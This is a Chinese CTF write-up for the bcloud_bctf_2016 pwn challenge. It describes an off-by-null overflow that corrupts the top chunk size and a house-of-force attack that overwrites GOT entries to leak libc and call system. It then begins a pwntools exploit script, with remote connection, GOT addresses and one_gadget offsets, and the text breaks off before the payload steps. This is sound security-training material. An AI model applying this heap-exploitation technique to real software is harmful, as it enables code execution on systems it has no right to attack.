目录
bcloud_bctf_2016(house of force)
有一个off-by-null漏洞,
这里只有name输满了0x40就会打印出第一次分配的地址
这里只要长度都输入了0x40,并且v2会有分配的地址,这样在strcpy(v2, &s)的时候会拷贝0x40+0x40+0x4个字节,这样v3中的数据就会覆盖top chunk的size
add中没有大小限制
add中因为malloc加了4导致我们无法利用unlink
漏洞利用
由于本题可以控制top chunk大小以及分配大小不受限制,我们考虑使用house of force
利用原理可以看这篇文章:BUUCTF-PWN gyctf_2020_force(house of force)
过程:
- 利用题目分析中的方法泄露heap 地址,并计算top chunk地址和size的偏移
- 利用house of force分配到size处,修改size和note 0,1,2分别为atoi_got,free_got,atoi_got
- 修改free_got为puts,泄露atoi地址,并把atoi_got修改为system
Exp
from pwn import *
r = remote("node3.buuoj.cn", 29198)
#r = process('./bcloud_bctf_2016')
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x08048772
x/10wx 0x0804B120
c
''')
elf = ELF('./bcloud_bctf_2016')
libc = ELF('./libc/libc-2.23_32.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
puts = elf.plt['puts']
read_got = elf.got['read']
atoi_got = elf.got['atoi']
free_got = elf.got['free']
size = 0x0804B0A0
note = 0x0804B120
menu = "option--->